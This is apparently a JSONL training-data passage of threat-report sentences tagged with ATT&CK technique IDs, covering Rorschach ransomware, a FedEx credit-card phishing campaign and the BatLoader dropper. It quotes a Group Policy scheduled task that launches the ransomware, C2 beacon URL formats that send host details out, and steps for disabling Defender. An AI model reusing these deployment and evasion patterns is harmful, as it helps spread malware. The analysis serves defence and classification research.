bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**.local\\sysvol\\**REDACTED**.local\\scripts\\config.ini\" targetPath=\"%Public%\\config.ini\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_cy.exe\" status=\"0305_cy.exe\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{0A16D469-2648-4849-99C8-95D1B777D59A}\" bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**.local\\sysvol\\**REDACTED**.local\\scripts\\cy.exe\" targetPath=\"%Public%\\cy.exe\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> </Files>", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Executing a scheduled task to run the attack: <TaskV2 clsid=\"{D8896631-B747-47a7-84A6-C155337F3BC8}\" name=\"2_0305_cy.exe\" image=\"2\" changed=\"**REDACTED**\" uid=\"{3772E17D-6354-4DF1-A73B-8868AC352B23}\"> <Properties action=\"U\" name=\"2_0305_cy.exe\" runAs=\"%LogonDomain%\\%LogonUser%\" logonType=\"InteractiveToken\"> <Task version=\"1.2\"> <RegistrationInfo> <Author>**REDACTED**\\Administrador</Author> <Description></Description> </RegistrationInfo> <Principals> <Principal id=\"Author\"> <UserId>%LogonDomain%\\%LogonUser%</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Triggers> <RegistrationTrigger> <Enabled>true</Enabled> </RegistrationTrigger> <LogonTrigger> <Enabled>true</Enabled> </LogonTrigger> </Triggers> <Actions Context=\"Author\"> <Exec> <Command>%Public%\\cy.exe</Command> <Arguments>--run=**REDACTED**</Arguments> </Exec> </Actions> </Task> </Properties> </TaskV2>", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Summary Netskope Threat Labs is tracking a phishing campaign that mimics a FedEx package delivery as bait to steal credit card data.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This type of social engineering attack is commonly found in phishing pages, emails, and other scams, where a false sense of urgency is created to urge the victim into doing an action that eventually leads to personal data theft.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This specific phishing campaign is noteworthy because it abuses two cloud services throughout the attack: TrustedForm, a digital certificate service provided by ActiveProspectis, is abused to track victims and collect information about them, and the PAAY 3DS, a cloud-based platform that authenticates payment transactions, is abused to validate the credit card details collected from the victims.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Cybersecurity awareness training, specifically educating users to be wary of fake shipment notifications, is an effective defense against these types of phishing attacks.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope customers also receive protection from the threats discussed in this blog through the Next Generation Secure Web Gateway (SWG).", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "First Stage – Deception", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The attack starts when the victim receives an email or a text message that uses a common social engineering technique, creating a false sense of urgency to get the victim’s attention.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The specific approach here, using a fake shipping notification, is also a common technique used by scammers.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "First steps of this FedEx phishing campaign.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 1 – Once the victim reaches the page via phishing email or SMS text, they are instructed to click “Confirm” to view a message from “Express.”", "labels": ["T1204.002"], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This webpage has “FedEx” in the title and uses the same company colors to deceive the user.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The user is also asked to permit push notifications in the browser, which allows the attacker to push malicious ads, as we will demonstrate later in this analysis.", "labels": ["T1204.002"], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 2 – The victim is informed that delivery of a package has been suspended, and that they need to schedule delivery and should enable push notifications to avoid future issues.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 3 – Then, the victim is informed that they need to pay a $1.95 customs fee.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The customs fee is just an excuse to collect the victim’s personal and credit card data in the next stage of the attack.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Behind the scenes, once the first page is loaded, the page sends a request to receive a customizable JSON that is used throughout the attack.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The JSON includes the questions, form fields, and second-stage URLs, which will be all used in the next steps.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "JSON containing data about the phishing.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Fake questions displayed by the phishing page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 4 – The attacker continues to deceive the victim, in an attempt to add more credibility to the phish, by asking a series of questions to the victim, such as how, where, and when the victim would like to receive the package.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 5 – The deception continues by giving the victim a delivery estimate.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "As soon as the victim interacts with the questions on step 4, the phishing starts sending requests to the TrustedForm API.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "TrustedForm is a digital certificate service provided by ActiveProspect, which provides marketing automation and compliance platforms.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This service can be used to generate a digital certificate that includes information about a lead, such as geolocation, IP address, browser type, operating system, the time spent on the page, and even a web session replay.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "We believe that the attacker is creating a TrustedForm certificate to collect more information about victims.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page abusing TrustedForm.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Below is the type of information that would be available in a TrustedForm certificate, as demonstrated in their demo webpage.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Examples of a TrustedForm certificate generated by their demo page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "And finally, the phishing page redirects the victim to the next stage, using a URL parsed from the JSON we demonstrated earlier.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This page returns a second URL, which is used to redirect the user to a third URL.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This is done to add resilience, as the attacker can update the URLs with little effort if the last stage is taken down.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page redirecting the victim to the next stage.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Second Stage – Stealing Credit Card Data Once the attacker convinces the victim about the allegedly suspended package, they try to steal the victim’s credit card number on a different page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing trying to steal personal and credit card data.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 6 – This page asks for the victim’s personal information, such as the full name, phone number, and email address.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 7 – Then, the page asks for credit card details and uses PAAY to assess whether the credit card is valid.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This is done by using their 3DS (3-D Secure) system, which is a protocol designed to add more security and prevent fraud in online purchases.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Once the credit card data is entered in the page, it starts sending requests to the 3DS API, which performs a temporary purchase in the credit card number.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "If the credit card is invalid, the phishing does not move forward.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page abusing PAAY 3DS service.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Spreading Adware As demonstrated earlier, the main page asks for permission to show notifications in the browser.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Unsurprisingly, if the victim allows notifications, they are bombarded with ads from the “virtualpushplatform[.]com” domain, including ads for fake antivirus software, fake coupons, and free iPads.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page asking permission to show notifications.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "These ads lead to webpages that eventually ask for personal information or try to download malware.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "So, even in case the phishing attack fails at any stage, if the victim allows notifications, they will still be targeted with additional scams.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Ads displayed if the victim enabled the notifications in the phishing page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Conclusions By abusing cloud services, attackers are able to create more elaborate phishing pages that are also more resilient to detection.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This phishing campaign is not only trying to steal data from victims, but also abuses browser notifications to bombard victims with additional scams even if this one is unsuccessful.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope uses ML-based inline, out-of-band phishing detection engines, and threat intelligence systems to block such phishing attempts.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Recommendations Phishing pages from the campaign described in the post are easily recognizable by the URL, as the attacker has made little effort to disguise the URL using typosquatting or other techniques.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "We strongly recommend users to never enter their data on pages that promise something, such as the delivery of a supposedly suspended package.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "If you are indeed expecting a package, make sure to access the website of the logistics company directly.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope Threat Labs also recommends that organizations review their security policies to ensure that they are adequately protected against these and similar phishing pages and scams: Inspect all HTTP and HTTPs traffic, including all web and cloud traffic, to prevent users from visiting malicious websites.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope customers can configure their Netskope NG-SWG with a URL filtering policy to block known phishing and scam sites, and a threat protection policy to inspect all web content to identify unknown phishing and scam sites using a combination of signatures, threat intelligence, and machine learning.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Use Remote Browser Isolation (RBI) technology to provide additional protection when there is a need to visit websites that fall in categories that can present higher risk, like Newly Observed and Newly Registered Domains.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "IOCs Below are the IOCs related to the web pages analyzed in this blog post.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "URLs hxxps://biriata[.]com/ff0787bfecd727e800/7_783335_2683580/2357_2741426_4412557_61/505175864_163-116-145-33 hxxps://entfernza[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=f8e48861-bc10-40e7-bd05-e152979e4ee7&sub1=ECVD_470446&sub5=0c1fd02a-51fd-474b-8954-1b700f38e0b9 hxxps://giggingge[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=b3beae86-91be-4ef4-8d2e-6f0a07b6ce7d&sub1=ECVD_470446&sub5=ee2c5954-324d-43da-8830-00445bd703e8#!/hst hxxps://obtrusiho[.]com/sf/tpl36/?item=KE9Q&logo=01f&session_id=eb178549-389d-4fd5-aa8c-adc714552d94&sub1=ECVD_470446&sub5=6a64a541-0f1f-4cc0-b655-3048f97e148e#!/hst hxxps://crisplyoo[.]com/sf/tpl36/0?item=KE9Q&logo=01f&session_id=742f8239-2017-4771-a6dc-ee09dc744bad&sub1=ECVD_470446&sub5=e4fdd22d-4394-49cf-8742-403d38df3a8c#!/hst hxxps://vod-7.zoonosisdewlap[.]com/ hxxps://v2-check.caducitymatroclinic[.]com/ hxxps://v2-check.turriferouscouloir[.]com/ hxxps://v2-check.diphysitismphotophile[.]com/ Domains biriata[.]com entfernza[.]com giggingge[.]com obtrusiho[.]com crisplyoo[.]com vod-7.zoonosisdewlap[.]com v2-check.caducitymatroclinic[.]com v2-check.turriferouscouloir[.]com v2-check.diphysitismphotophile[.]com The post FedEx Phishing Campaign Abusing TrustedForm and PAAY appeared first on Netskope.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Since being introduced in February 2022, BatLoader is a malware dropper that has been observed dropping several well-known malware or malicious tools like ISFB, SystemBC RAT, Redline Stealer, and Vidar Stealer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Since its MSI installer file size is 100MB+, BatLoader can easily evade most sandboxes and antivirus tools.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "This malware analysis delves deeper into the technical details of how the BatLoader malware operates and our security recommendations to protect your organization from being exploited.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Key Takeaways BatLoader delivers additional malware and tools including ISFB, Vidar Stealer, Cobalt Strike, Syncro RMM, and SystemBC RAT via fake installers.eSentire Threat Response Unit (TRU) observed two different BatLoader campaigns in 2022.BatLoader can evade most antivirus detections due to the size of the MSI installers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The loader drops certain malware if certain conditions of the infected host are met (e.g., ARP table, domain check).The last BatLoader campaign performs the antivirus checks and is capable of modifying Windows UAC prompt, disabling Windows Defender notifications, disabling Task Manager, disabling command prompt, preventing users from accessing Windows registry tools, disabling the Run command, and modifying the display timeout.eSentire TRU assesses with high confidence that BatLoader will remain active in the wild in 2023 and potentially serve as a first stage payload to deliver other malware.", "labels": ["T1518.001", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Case Study BatLoader In September 2022, eSentire TRU observed multiple BatLoader infections in Consumer Services, Retail, Telecommunications, and Non-Profit client environments.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The initial infection starts with the user searching for installers such as Zoom, TeamViewer, AnyDesk, or FileZilla.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The user navigates to the first advertisement displayed, which redirects the user to the website hosting the fake installer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The MSI installers are signed by “Kancelaria Adwokacka Adwokat Aleksandra Krzemińska” (Figures 1-2).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 1: Fake Zoom Installer Figure 2: Fake AnyDesk installer In October and November 2022, we observed the second BatLoader campaign pushing fake installers such as TeamViewer (Figure 3), AnyDesk and LogMeIn.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The infections were observed in Insurance, Consulting, Healthcare, and Printing industries.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 3: Fake TeamViewer download page We also observed several C2 domains related to BatLoader campaigns: updatea1[.]com (first campaign)cloudupdatesss[.]com (first campaign)externalchecksso[.]com (second campaign)internalcheckssso[.]com (second campaign)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "BatLoader Analysis (First Campaign) BatLoader, named by Mandiant, is a malware dropper.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The malware was first mentioned by Mandiant in February 2022.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "It’s worth noting that Mandiant mentioned the domain clouds222[.]com for the BatLoader campaign which also overlaps with the Zloader C2 domain.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "eSentire TRU observed BatLoader dropping the following malware / malicious tools: ISFBSystemBC RATRedline StealerVidar Stealer Figure 4: BatLoader infection chain The MSI installer file is over 100MB in size; the large file size is implemented by threat actor(s) to evade sandboxes and antivirus products.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The properties of the BatLoader MSI installer are shown in Figure 5.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Within the MSI file, we have found the components of NovaPDF 11 (Figure 6) and other garbage files shown in Figure 7.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The files reside within the C:\\Program Files (x86)\\Softland\\novaPDF 11\\Tools path that is created after the malicious MSI is successfully run, we also found NordVPNSetup.exe dropped within the same path.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We believe that the files mentioned are used as a decoy.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 5: Properties of the malicious MSI installer Figure 6: NovaPDF 11 components Figure 7: Decoy files The main malicious trigger for the MSI installer resides under CustomAction table.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Custom Actions are the operations defined by the user during installation or MSI execution.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The malicious actor(s) create a custom action to run the malicious PowerShell inline script.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The malicious script resides under AI_DATA_SETTER action name and contains the instructions to download the malicious update.bat file from the C2 domain and place it under AppData\\Roaming folder (Figure 8).", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The PowerShell script is run via the PowerShell Core or pwsh.exe in a hidden window.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 8: Malicious PowerShell script under CustomAction Table", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The downloaded update.bat file is responsible for downloading requestadmin.bat file and NirCmd.exe binary (Figure 9).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 9: Contents of update.bat The requestadmin.bat is responsible for performing antivirus tampering – adding %APPDATA% and %USERPROFILE%\\ paths to Windows Defender exclusion to prevent Defender from scanning the mentioned paths.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The batch file was executed via nircmd.exe which was also downloaded from the C2; the utility allows the batch file to run in the background without displaying the user interface.", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Besides excluding the paths, the batch file also retrieves and executes the runanddelete.bat and scripttodo.ps1 scripts from the C2 via a native PowerShell command Invoke-WebRequest (Figure 10).", "labels": ["T1059.003", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 10: The contents of requestadmin.bat The scripttodo.ps1 installs the GnuPg, the software that encrypts and signs the data and communications as shown in Figure 11.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 11: GnuPg installation Further down, the script enumerates the current domain that the user is logged into, the username, and obtains all entries within the IPs starting with 192., 10., and .172 in the ARP cache table.", "labels": ["T1016", "T1033"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Once it completes that task, it then checks the amount of IPs found in the ARP table and completes a sum operation.", "labels": ["T1016"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the amount is less than 2 and the user domain is within WORKGROUP, the script will not proceed to further infection.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the number of IPs is greater than 2, the domain is not in WORKGROUP and does not contain the username, which satisfies all the conditions set in the script, then the full set of malware is retrieved from C2 (Figure 12).", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The requests to the C2 server are performed in the following format: https://<C2 Server>/g5i0nq/index/d2ef590c0310838490561a205469713d/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/fa0a24aafe050500595b1df4153a17fb/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/i850c923db452d4556a2c46125e7b6f2/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname https://<C2 Server>/g5i0nq/index/b5e6ec2584da24e2401f9bc14a08dedf/?servername=msi&arp=\"+ $IP_count + \"&domain=\" + $UserDomain + \"&hostname=\" + $UserPCname Figure 12: Enumerating the host and retrieving malware from C2 based on the conditions If the mentioned conditions are not satisfied, the script retrieves the GPG-encrypted files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)", "labels": ["T1027", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If all the conditions are met, the script retrieves the following files: d2ef5.exe.gpg (encrypted Ursnif)p9d2s.exe.gpg (encrypted Vidar Stealer)d655.dll.gpg (encrypted Cobalt Strike)f827.exe.gpg (encrypted Syncro RMM)shutdowni.bat We were unable to retrieve the shutdowni.bat file but we believe the script might have been deployed to restart the host.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The GPG decryption routine was borrowed from the script hosted on GitHub (Figure 13).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The script looks for files ending with gpg in %APPDATA% folder and decrypts them using the password 105b.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 13: GPG decryption snippet Moreover, the scripttodo.ps1 recursively removes the implementation of Windows Defender IOfficeAntiVirus under HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}.", "labels": ["T1112", "T1140", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The IOfficeAntivirus component is responsible for detecting malicious or suspicious files downloaded from the Internet.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "It then adds the extensions such as exe and DLL as exclusions to Windows Defender.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Additionally, the script downloads Nsudo.exe tool to be able to run files and programs with full privileges.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We have mentioned that besides scripttodo.ps1, the runanddelete.bat (Figure 14) file was retrieved.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The batch file is responsible for running a malicious executable d2ef5.exe with administrator privileges by creating a VBS script getadmin.vbs under %TEMP% folder to run the binary, but first the user would get an alert prompt from User Account Control (UAC) to allow the program to make changes.", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 14: Contents of runanddelete.bat file The Secrets of BatLoader", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binary d2ef5.exe is the ISFB banking malware also known as the successor of Gozi or Ursnif.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The first Gozi variant was first discovered by SecureWorks in 2007 and is still active today, spreading through phishing emails and loaders.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The Ursnif version we observed can exfiltrate browser credentials and cookies, Thunderbird and Outlook profiles, POP3, SMTP passwords.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The strings “*terminal* *wallet* *bank* *banco*” were also observed which suggests that Ursnif is also capable of stealing cryptocurrency from digital wallets and banking credentials.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Upon execution, ISFB creates a persistence via Registry Run Keys under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The registry value VirtualStop (the registry values can be different based on the wordlist table hardcoded in the binary).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The registry value contains the command that launches the shortcut (LNK) which contains powershell.exe in the relative path.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The PowerShell starts the CollectMirrow.ps1 script under %USERPROFILE% folder bypassing the PowerShell’s execution policy.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The command execution example: cmd /c start C:\\Users\\<username>\\VirtualStop.lnk", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "-ep unrestricted -file C:\\Users\\<username>\\CollectMirrow.ps1 The CollectMirror.ps1 script contains the PowerShell one-liner (Figure 15) that pulls the written data from the registry under HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\<registry_value>>, specifically the TestMouse value (Figure 16).", "labels": ["T1012"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 15: Contents of CollectMirror.ps1 Figure 16: Contents of TestMouse registry value The script performs process injection using the API such as OpenThread (to create a handle to an existing process), VirtualAlloc (memory allocation in the chosen process), and QueueUserAPC, the thread that the APC (Asynchronous Procedure Calls) is queued to has to enter an alertable state, this can be achieved by invoking SleepEx as shown in Figure 17.", "labels": ["T1055", "T1106"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We have observed ISFB injecting itself into a running explorer.exe process.", "labels": ["T1055"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The unpacked sample is approximately 540 KB (MD5: 3aaf34ffbe45e4f54b37392ad1afe9a5).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 17: Process injection We have observed ISFB injecting itself into a running explorer.exe process.", "labels": ["T1055"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You can read the very well-written analyses by Daniel Bunce here and here, but we will cover the main basics of malware.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The payload locates the BSS section which is where the encrypted strings reside within the function shown in Figure 18 (the hex string 81 38 2E 62 73 73 contains ‘bss’).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 18: Payload locating the .bss section", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The data stored in the BSS section is encoded as shown in Figure 19. Figure 19: Snipped of the encoded data in the BSS section", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decryption function is shown below, the decryption function can be represented as the following pseudocode: Figure 20: Decryption function pseudocode The decryption function takes 4 bytes of the encrypted data in BSS at a time and converts them into an integer, then subtracts the key from the index value and adds to the DWORD value which is 4 bytes.", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decompiled code can be seen in Figure 21.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
